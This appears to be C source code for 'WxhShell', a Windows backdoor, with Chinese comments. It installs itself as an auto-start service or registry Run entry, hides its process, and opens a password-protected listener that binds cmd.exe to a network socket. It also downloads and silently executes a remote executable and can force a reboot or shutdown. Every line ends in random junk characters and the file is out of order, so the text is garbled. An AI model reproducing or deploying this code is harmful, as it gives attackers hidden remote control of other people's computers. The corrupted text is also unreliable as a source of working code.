    ExitThread(0); G4 G5PXi  
    } -{ u*qtp  
    break; N S#TW  
    } !Oi~:Pp  
  // 获取shell +PK6-c\r  
  case 's': { Rte+(- iL  
    CmdShell(wsh); {J5JYdK  
    closesocket(wsh); _p?s9&  
    ExitThread(0); _j>;ipTb+  
    break; +u'I0>)S  
  } MCh#="L2  
  // 退出 HMY@F_qY`u  
  case 'x': { Ol$WpM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )~jqW=d 2  
    CloseIt(wsh); K) Zlc0e  
    break; #'4OYY.  
    } =:+0)t=ao  
  // 离开 9%sM*[A  
  case 'q': { DF{OnF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a,7 &"  
    closesocket(wsh); @/UfD ye  
    WSACleanup(); [\R>Xcu>  
    exit(1); x7T +>  
    break; 6Fy@s  
        } Y\v-,xPm  
  } E5x]zXy4  
  } NoW!xLI  
s'2Rs^,hN  
  // 提示信息 S=R 3"~p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lpEDPvD_Vm  
} >riq98Us/  
  } _Dq Qfc%  
jE U'.RBN%  
  return; _p4}<pG  
} Kd{#r/HZ  
r<FQX3  
// shell模块句柄 0o68rF5^s  
int CmdShell(SOCKET sock) cgNt_8qC  
{ ~ v1W  
STARTUPINFO si; `Wf5  
ZeroMemory(&si,sizeof(si)); rye)qp|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 29O]S8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FP;": iRL  
PROCESS_INFORMATION ProcessInfo; Yk>8g;<  
char cmdline[]="cmd"; {,V$*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @P70W<<  
  return 0; OJ[rj`wrW^  
} A +!sD5d  
Gc5VQ^]  
// 自身启动模式 IvSn>o  
int StartFromService(void) F X 1C e  
{ dIK{MA  
typedef struct +{&+L0DfH~  
{ G `Izf1B`I  
  DWORD ExitStatus; ^-L{/'[8M  
  DWORD PebBaseAddress; -931'W[s,  
  DWORD AffinityMask; |e"/Mf[  
  DWORD BasePriority; OWV/kz5'H  
  ULONG UniqueProcessId; [#X|+M&u6  
  ULONG InheritedFromUniqueProcessId; k|ip?O  
}   PROCESS_BASIC_INFORMATION; BHiOQ0Fs  
{W'8T}q  
PROCNTQSIP NtQueryInformationProcess; 6e:P.HqjA  
|F~88j{VN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T:#S86m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k.>6nho`TV  
,|x\MHd?t_  
  HANDLE             hProcess; >r:X~XnRUj  
  PROCESS_BASIC_INFORMATION pbi; D% @KRcp^b  
j1Fw U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]|BojSL_  
  if(NULL == hInst ) return 0; E(/ sXji!  
A5+5J_)*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); # `58F.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p)z-W(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5\?3$<1 I  
:tlE`BIp  
  if (!NtQueryInformationProcess) return 0; )[ w&C_>]  
9i[4"&K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fn?VNZ`J  
  if(!hProcess) return 0; Okoo(dfM  
|<2 *v-a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4[_L=zD  
cI3KB-lM#  
  CloseHandle(hProcess); AJ4r/b }  
Dpj-{q7C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]F_r6*<  
if(hProcess==NULL) return 0; :Fo4O'UC  
9RB`$5F ;  
HMODULE hMod; '2wCP EC  
char procName[255]; -4%]QS  
unsigned long cbNeeded; <4sj@C  
n`QO(pZ6+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sr4jQo  
qhN[Dj(d  
  CloseHandle(hProcess); . o"<N  
@4&, #xo  
if(strstr(procName,"services")) return 1; // 以服务启动 p~FQcW'a~  
~ ;XYwQ"  
  return 0; // 注册表启动 RCCv>o  
} =1Ri]b  
,P!D-MN$V  
// 主模块 bm^X!i5  
int StartWxhshell(LPSTR lpCmdLine) 3~:0?Zuq  
{ t,1in4sN  
  SOCKET wsl; "kU>~~y,  
BOOL val=TRUE; ~r PYJ  
  int port=0; ennR@pg  
  struct sockaddr_in door; ?Oqzd$-  
|""=)-5N  
  if(wscfg.ws_autoins) Install(); ?'Oj=k"c7  
ki`8(u6l  
port=atoi(lpCmdLine); H)`@2~Y  
[Ek42%  
if(port<=0) port=wscfg.ws_port; ,y{0bq9*2  
W?=$V>)  
  WSADATA data; 6SV7\,2M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k*OvcYL1A  
%`eJ66T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /Ht/F)&P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,zD_% ox  
  door.sin_family = AF_INET; * *.:)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h)^dB,~  
  door.sin_port = htons(port); RA} U#D:$i  
au,jAk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8H7O/n  
closesocket(wsl); k)|'JDm  
return 1; ZWFG?8lJ  
} |G)Y8 #D  
Q g$($   
  if(listen(wsl,2) == INVALID_SOCKET) { { v,{x1  
closesocket(wsl); })KJ60B  
return 1; nW~$ (Qnd  
} di--:h/  
  Wxhshell(wsl); W  _J&M4  
  WSACleanup(); ) b/n)%6  
ENO? ;  
return 0; b~jIv:9T  
wKGo gf[(%  
} 6NzBpur 2H  
n}0za#G  
// 以NT服务方式启动 %3rTQ:X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r)OO&. P@j  
{ '7t|I6$ow  
DWORD   status = 0; [gpOu TW  
  DWORD   specificError = 0xfffffff; ]GQv4-y  
tp%|AD"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `bzr_fJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I88Zrhw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KS b(R/T  
  serviceStatus.dwWin32ExitCode     = 0; UlnyTz~  
  serviceStatus.dwServiceSpecificExitCode = 0; i3D<`\;r  
  serviceStatus.dwCheckPoint       = 0; R!@|6=]iG  
  serviceStatus.dwWaitHint       = 0; ;]{{)dst  
Wx}M1&d/J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RzpC1nd  
  if (hServiceStatusHandle==0) return; s fyBw  
Mm "Wk  
status = GetLastError(); |3 ;u"&(P  
  if (status!=NO_ERROR) ]/LWrQD  
{ \{[D|_   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; stX'yya  
    serviceStatus.dwCheckPoint       = 0; Cca6L9%  
    serviceStatus.dwWaitHint       = 0; sS-W~u|C  
    serviceStatus.dwWin32ExitCode     = status; y+?=E g  
    serviceStatus.dwServiceSpecificExitCode = specificError; LE8K)i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w~4 z@/^"p  
    return; S|~i>  
  } yQ8M >H#J  
;&If9O 1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O;UiYrXU  
  serviceStatus.dwCheckPoint       = 0; #m[vn^8B]y  
  serviceStatus.dwWaitHint       = 0; @55bE\E?@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `E{;85bDH  
} anK[P'Y  
(~=Qufy  
// 处理NT服务事件,比如:启动、停止 'CS^2Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ftO+.-sm<  
{ {-o7w0d_  
switch(fdwControl) 03~+-h& n  
{ ^uC"dfH  
case SERVICE_CONTROL_STOP: CKx\V+\O  
  serviceStatus.dwWin32ExitCode = 0; 4Y`! bT`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EfFj!)fz  
  serviceStatus.dwCheckPoint   = 0; y=-{Q  
  serviceStatus.dwWaitHint     = 0; EW ~*@H  
  { |VTWw<{LX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V/`#B$6  
  } l{nB.m2  
  return; )\um "l*\c  
case SERVICE_CONTROL_PAUSE: =]!8:I?C<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,D:iQDG^  
  break; $/NGNkl[  
case SERVICE_CONTROL_CONTINUE: C]yvK}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o~Bk0V=  
  break; Pbc`LN /s|  
case SERVICE_CONTROL_INTERROGATE: L.SDMz  
  break; 9+]ZH.(YE  
}; ;n3uV`\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sXSj OUI  
} [Xs}FJ  
7J0 ^N7"o  
// 标准应用程序主函数 !8wZw68"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +A'}PXm*tu  
{ v>JB rIb$  
'u4}t5Bu5  
// 获取操作系统版本 ;X+G6F'  
OsIsNt=GetOsVer(); }UyzM y,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h{Oz*Bq  
Sja"(sJ  
  // 从命令行安装 U,oD44  
  if(strpbrk(lpCmdLine,"iI")) Install(); bk/.<Rt  
+<'uw  
  // 下载执行文件 NFdJb\  
if(wscfg.ws_downexe) { &z./4X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z2rQ$O -#  
  WinExec(wscfg.ws_filenam,SW_HIDE); " 7l jc  
} F?}m8ZRv  
D /,|pC  
if(!OsIsNt) { 5Z^$`$/.v#  
// 如果时win9x,隐藏进程并且设置为注册表启动 6&g!ZE'G  
HideProc(); 38"8,k  
StartWxhshell(lpCmdLine); O{;M6U8C\  
} RA*_&Ll&!C  
else M \ :"~XW  
  if(StartFromService()) ?whRlh  
  // 以服务方式启动 3c1o,2  
  StartServiceCtrlDispatcher(DispatchTable); 2z.k)Qx!Z  
else ^AovkK(p  
  // 普通方式启动 0lLr[  
  StartWxhshell(lpCmdLine); Wwn5LlJ^  
0z#l0-NdQ  
return 0; k$9Gn9L%  
} 2N6Pa(6  
[{6&.v  
NUi{!<  
pKO T  Qf  
=========================================== H j>L>6>  
d_4n0Kh0  
;n yB  
*T.={>HE8  
RM?_15m  
rnzsfr-|(2  
" ,gAr|x7_  
jK ?  
#include <stdio.h> !mw{T D  
#include <string.h> +~R.7NE%  
#include <windows.h> wZ (uq?3S`  
#include <winsock2.h> H;7O\  
#include <winsvc.h> :vn0|7W4  
#include <urlmon.h> UQC'(>.}  
w\0Oz?N  
#pragma comment (lib, "Ws2_32.lib") *>}McvtTw  
#pragma comment (lib, "urlmon.lib") J ,Qy`Y B  
/ t%"Dh 8x  
#define MAX_USER   100 // 最大客户端连接数 /u" cl2|  
#define BUF_SOCK   200 // sock buffer S*~Na]nS0  
#define KEY_BUFF   255 // 输入 buffer a}^!TC>%1i  
4aIlzaA  
#define REBOOT     0   // 重启 |R_xY=z?  
#define SHUTDOWN   1   // 关机 ^L*VW gi9  
Q%gY.n{=  
#define DEF_PORT   5000 // 监听端口 ~2, wI<Nz  
GI'&g@?u  
#define REG_LEN     16   // 注册表键长度 F1Zk9%L%9$  
#define SVC_LEN     80   // NT服务名长度 \K4CbZ,.  
IkE'_F  
// 从dll定义API kVB}r.NHP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _js2^<7v}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MkluK=$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _umO)]Si  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2vk8+LA(6  
 d'**wh,  
// wxhshell配置信息 2vW,.]95M  
struct WSCFG { NO0[`jy(  
  int ws_port;         // 监听端口 ey9fbS ^I  
  char ws_passstr[REG_LEN]; // 口令 !0d9<SVC  
  int ws_autoins;       // 安装标记, 1=yes 0=no he#Tr'j  
  char ws_regname[REG_LEN]; // 注册表键名 {ra Esb-X  
  char ws_svcname[REG_LEN]; // 服务名 [nhLhl4S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O*+w_fox  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?(`nBlWQ5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _If@#WnoyA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %(O^as  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K4VPmkG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Is,*qrl :  
^<5^9]x  
}; '3Lx!pMhN  
%n V@'3EI  
// default Wxhshell configuration r*  
struct WSCFG wscfg={DEF_PORT, sDh6 Uk  
    "xuhuanlingzhe", a3E*%G  
    1, epY;1,; >  
    "Wxhshell", b`;b}ug  
    "Wxhshell", a#^4xy:  
            "WxhShell Service", `OF ;>u*:  
    "Wrsky Windows CmdShell Service", Qbe{/  
    "Please Input Your Password: ", j:vD9sdQ  
  1, WLj_Zo*^x  
  "http://www.wrsky.com/wxhshell.exe", tM?I()Y&P  
  "Wxhshell.exe" lw/ m0}it  
    }; ;j Y'z5PH5  
bj* v'  
// 消息定义模块 .Q6{$Y%l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A=2nj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TTw~.x,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  }@Ll!,  
char *msg_ws_ext="\n\rExit."; jy)9EU=  
char *msg_ws_end="\n\rQuit."; { &JurZ  
char *msg_ws_boot="\n\rReboot..."; }O-%kl  
char *msg_ws_poff="\n\rShutdown..."; fxf GJNR  
char *msg_ws_down="\n\rSave to "; HDfQ9__  
">4[+'  
char *msg_ws_err="\n\rErr!"; `A}{ I}xq  
char *msg_ws_ok="\n\rOK!"; eJwii  
:XZJxgx  
char ExeFile[MAX_PATH]; KG./<"c  
int nUser = 0; ?eg@ 7n  
HANDLE handles[MAX_USER]; (}7o a9Q<  
int OsIsNt; N[?4yV2s  
B )3SiU  
SERVICE_STATUS       serviceStatus; ?;r7j V/`j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4VL!U?dk  
Se]t;7j  
// 函数声明 a!6OE"?QQ  
int Install(void); iz|9a|k6x  
int Uninstall(void); *dn-,Q%`  
int DownloadFile(char *sURL, SOCKET wsh); 8aM% 9OU  
int Boot(int flag); SUQ}^gn]  
void HideProc(void); !C)>  
int GetOsVer(void); =<tJAoVV  
int Wxhshell(SOCKET wsl); -:1Gr8  
void TalkWithClient(void *cs); w]}cB+C+l#  
int CmdShell(SOCKET sock); JeSkNs|vB  
int StartFromService(void); 5;KT-(q~  
int StartWxhshell(LPSTR lpCmdLine); ;lPhSkD  
"r `6c0Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GmWQJYX\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z;> aW;Wt  
BDm H^`V  
// 数据结构和表定义 u/{_0-+P  
SERVICE_TABLE_ENTRY DispatchTable[] = C&MqUj"]  
{ }v|[h[cZ  
{wscfg.ws_svcname, NTServiceMain}, ]r{ #268  
{NULL, NULL} AZP>\Dq  
}; .}opmI  
Cd*C^cJU&z  
// 自我安装 ) x $Vy=  
int Install(void) YtKX\q^.  
{ 7"U,N;y  
  char svExeFile[MAX_PATH]; DO*C]   
  HKEY key; Icb;Yzt  
  strcpy(svExeFile,ExeFile); v2<gkCK^  
IWd*"\L  
// 如果是win9x系统,修改注册表设为自启动 lY,1 w  
if(!OsIsNt) { ~DS9{Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P?-44m#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e=$xn3)McY  
  RegCloseKey(key); *)sz]g|d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { alD|-{Bf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >}tG^)os  
  RegCloseKey(key); m$j;FKz+|  
  return 0; ImW~Jy  
    } T+( A7Qrx%  
  } En%o7^W++  
} OF}_RGKg3  
else { vK/Z9wR*05  
WWz ns[$f  
// 如果是NT以上系统,安装为系统服务 oMf h|B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l$@lk?dc  
if (schSCManager!=0) y$W3\`2q  
{ !0_Y@>2  
  SC_HANDLE schService = CreateService q&x#S_!  
  ( "lAS <dq  
  schSCManager, FV,SA3  
  wscfg.ws_svcname, mjc:0hH  
  wscfg.ws_svcdisp, 2)]*re)  
  SERVICE_ALL_ACCESS, [^P2Kn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iIRigW  
  SERVICE_AUTO_START, 4H '&5  
  SERVICE_ERROR_NORMAL, %^A++Z$`  
  svExeFile, qa#F}aGd  
  NULL, w N.Jyb  
  NULL, x=+H@YO\  
  NULL, !9Ni[8&Fg0  
  NULL, @1X1E 2:  
  NULL <FLc0s  
  ); ~)(Dm+vZ  
  if (schService!=0) q|\Cp  
  { [X\2U4  
  CloseServiceHandle(schService); b&&'b )  
  CloseServiceHandle(schSCManager); w%na n=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  yFv3>\  
  strcat(svExeFile,wscfg.ws_svcname); Tl-B[CT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cVi CWc2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;pYk+r6Cr  
  RegCloseKey(key); 3"RZiOyv  
  return 0; G(e?]{(  
    } g_=ZcGC  
  } <Z_`^~!  
  CloseServiceHandle(schSCManager); xJlq2cK  
} '!GI:U+g  
} [Y+ bW#'  
eGg#=l=  
return 1; 1Tkz!  
} R'U(]&e.j  
1k(*o.6  
// 自我卸载 m\Nc}P_"p  
int Uninstall(void) =uEhxs j)S  
{ M3;B]iRQD  
  HKEY key; =@ RVLml  
6UTdy1Qq>  
if(!OsIsNt) { s4*,ocyBP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^\;5O(9  
  RegDeleteValue(key,wscfg.ws_regname); UNHHzTsr?  
  RegCloseKey(key); tcZ~T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ggWfk  
  RegDeleteValue(key,wscfg.ws_regname); dDn:^)  
  RegCloseKey(key); 4G2V{(@QiZ  
  return 0; \v_( *  
  }  }P#gXG  
} DO; 2)ZQ%  
} L"0L_G  
else { Fh;(1X75I  
pDT6>2t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |\ L2q/u  
if (schSCManager!=0) j=LF1dG"  
{ R8)"M(u=l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,\IZ/1  
  if (schService!=0) ~b/>TKn+  
  { mB`r6'#=  
  if(DeleteService(schService)!=0) { &,xM;8b  
  CloseServiceHandle(schService); 7v_e"[s~  
  CloseServiceHandle(schSCManager); Zl*!pQ  
  return 0; 1-fz564  
  } Zx{'S3W  
  CloseServiceHandle(schService); z~al h?H  
  } Bc@e;k@i  
  CloseServiceHandle(schSCManager); R _%pR_\  
} wH.'EC  
} 3& $E  
J(]nPwm=.-  
return 1; f]ef 1#  
} E'}$'n?:  
cE[lB08  
// 从指定url下载文件 6=k^gH[g  
int DownloadFile(char *sURL, SOCKET wsh) OWzIea@  
{ 82<!b]^1  
  HRESULT hr; pY@+.V`a  
char seps[]= "/"; ;f?bb*1  
char *token; kaLRI|hC  
char *file; |9h[Q[m  
char myURL[MAX_PATH]; ~Q0}>m,S  
char myFILE[MAX_PATH]; Yv)/DsSyL  
Et (prmH  
strcpy(myURL,sURL); P:+:Cm<  
  token=strtok(myURL,seps); p%_TbH3j`  
  while(token!=NULL) AKVmUS;70  
  { SF7Kb`>Y  
    file=token; 622).N4  
  token=strtok(NULL,seps); pWqahrWh  
  } l;ugrAo?  
!ibp/:x  
GetCurrentDirectory(MAX_PATH,myFILE); e;$s{CNo  
strcat(myFILE, "\\"); xnTky1zq  
strcat(myFILE, file); N Jf''e3  
  send(wsh,myFILE,strlen(myFILE),0); 7pNh|#Uv'  
send(wsh,"...",3,0); h7{W-AtM7_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n9%rjS$  
  if(hr==S_OK) -Y6JU  
return 0; ,yoT3_%P  
else 1,E/So   
return 1; x8^Dhpr6  
B.o&%5dG  
} Fpb1.Iz  
`^/Q"zH  
// 系统电源模块 U"Y$7~  
int Boot(int flag) QB7<$Bp  
{ { !w]t?h  
  HANDLE hToken; l6~eb=u;9g  
  TOKEN_PRIVILEGES tkp; p5*Y&aKj  
$FoNEr&q  
  if(OsIsNt) { R *U>T$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F {[Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5R4 dN=L*1  
    tkp.PrivilegeCount = 1; 9M6&+1XE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8447hb?W$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KLk37IY2\  
if(flag==REBOOT) { JGtdbD?Fw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'oTF$3n  
  return 0; ? DPL7  
} O;w';}At  
else { ^6=nL<L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SFjN 5u  
  return 0; q&vr;f B2  
} ?^hC|IR$  
  } ;tHF$1!J  
  else { tP\Utl-0  
if(flag==REBOOT) { 5o,82 Kti  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B\Uj  
  return 0; gP} M\3-O  
} ,T]okN5uI  
else { $I.'7 &h;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FY'f{gD^  
  return 0; 7}Gy%SJ`  
} >7n(* M  
} yk=H@`~!  
/q=<OEC  
return 1; ^71sIf;+  
} 0P|WoC X  
X/Ae-1!  
// win9x进程隐藏模块 :G!Kaa,r  
void HideProc(void) lHx$F ?  
{ ]'"$qm:  
}&=C*5JN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =0Nd\  
  if ( hKernel != NULL ) 'b-}KDP  
  { X0m\   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); EfOJ%Xr[,l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1&dWt_\  
    FreeLibrary(hKernel); m^wYRA.  
  } +=||c \'  
g;-CAd5  
return; H]SnM'Y  
} Agl[Z>Q  
zEu*q7  
// 获取操作系统版本 4FYws5]$  
int GetOsVer(void) NEX\+dtE~0  
{ ]1klfp,`  
  OSVERSIONINFO winfo; Ij" `pdp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~($h9* \  
  GetVersionEx(&winfo); km *$;Nli  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XRZmg "  
  return 1; c[4Z_5B  
  else MQhL>oQ  
  return 0; @6\8&(|  
} -Z  @cj  
]g:VvTJ;?  
// 客户端句柄模块 -gzk,ymp  
int Wxhshell(SOCKET wsl) mX %;  
{ _Ab|<!a/R  
  SOCKET wsh; C,Ch6Ph  
  struct sockaddr_in client; A;h~Fx6s  
  DWORD myID; :}Z+K*%o-  
s{gdTG6v`  
  while(nUser<MAX_USER) 'E6)6N  
{ myH#.$=A  
  int nSize=sizeof(client); !bQ5CB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zE<}_nA  
  if(wsh==INVALID_SOCKET) return 1;  MgA6/k  
u{HB5QqK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4-s Uy  
if(handles[nUser]==0) hEDj"`Px  
  closesocket(wsh); 7Ij'!@no  
else pZXva9bE  
  nUser++; qPWYY  
  } #\fAp RL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iMF:~H-Yq#  
|Kb-oM&^#  
  return 0; ~/QzL.S;p  
} H Jwj,SL  
|ONkRxr@!  
// 关闭 socket Qd$d*mwg:  
void CloseIt(SOCKET wsh) u"nyx0<  
{ tlc&Wx  
closesocket(wsh); !tN]OQ)'  
nUser--; |XPT2eQ{  
ExitThread(0); QH;1*  
} ;|66AIwDe  
68d(6?OgW  
// 客户端请求句柄 \!`*F :7]-  
void TalkWithClient(void *cs) `*N2x\+X  
{ lr=*Ty(V  
Z>'.+OW  
  SOCKET wsh=(SOCKET)cs; wuI+$?  
  char pwd[SVC_LEN]; e:&5Cvx  
  char cmd[KEY_BUFF]; {=pf#E=  
char chr[1]; N n+leM  
int i,j; V*LpO 8=  
+tl&Jjdm  
  while (nUser < MAX_USER) { c/b} 39X  
BJ1txdxvS  
if(wscfg.ws_passstr) { ^,@Rd\q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AS~O*(po  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H+t^eg88  
  //ZeroMemory(pwd,KEY_BUFF); "|(+~8[  
      i=0; n hS=t8H  
  while(i<SVC_LEN) { |K7JU^"OQ  
<Xv]Ih?@f`  
  // 设置超时 CKyX  Z  
  fd_set FdRead; )~s(7 4`}  
  struct timeval TimeOut; os"o0?  
  FD_ZERO(&FdRead); Busxg?=  
  FD_SET(wsh,&FdRead); Vf,t=$.[Q  
  TimeOut.tv_sec=8; ~#N^@a  
  TimeOut.tv_usec=0; MYDAS-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M{1't  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]=7}Y%6  
l\JoWL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )FYz*:f>&  
  pwd=chr[0]; zN0^FXGD  
  if(chr[0]==0xd || chr[0]==0xa) { Y}Y2 Vx  
  pwd=0; !'[f!vsyM{  
  break; ^dld\t:tV7  
  } [PdatL2  
  i++; )lE]DG!  
    } `#E1FB2M  
AKejWh  
  // 如果是非法用户,关闭 socket {O[a +r.n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N.l+9L0b  
} "xi)GH]H_  
)L<NW{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n'K,*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3t)07(x_B  
P_ U[OM\  
while(1) { !SMIb(~[z  
4,`Yx s)%  
  ZeroMemory(cmd,KEY_BUFF); vm_+U*%c  
.IE2d%]?  
      // 自动支持客户端 telnet标准   `,3;#.[D  
  j=0; P?\IlziCB  
  while(j<KEY_BUFF) { q{nNWvL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /q0[T{Wz$  
  cmd[j]=chr[0]; M|w;7P}  
  if(chr[0]==0xa || chr[0]==0xd) { ]%!:'#  
  cmd[j]=0; M| :wC  
  break; _Y?p =;  
  } nn5tOV}QE  
  j++; eF823cH2x_  
    } *0^!%Y'/4  
T8bk\\Od  
  // 下载文件 /PafIq  
  if(strstr(cmd,"http://")) { ZBUEg7c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~xer ZQgc  
  if(DownloadFile(cmd,wsh)) [Abq("9p\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w^6rgCl  
  else `A_CLVE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GWsvN&nr  
  } G~5EAeG  
  else { *<c, x8\s9  
.B_LQ;0:   
    switch(cmd[0]) { jdqVS@SD  
  JR] /\(  
  // 帮助 l 8qCg/ew  
  case '?': { O~?H\2S  
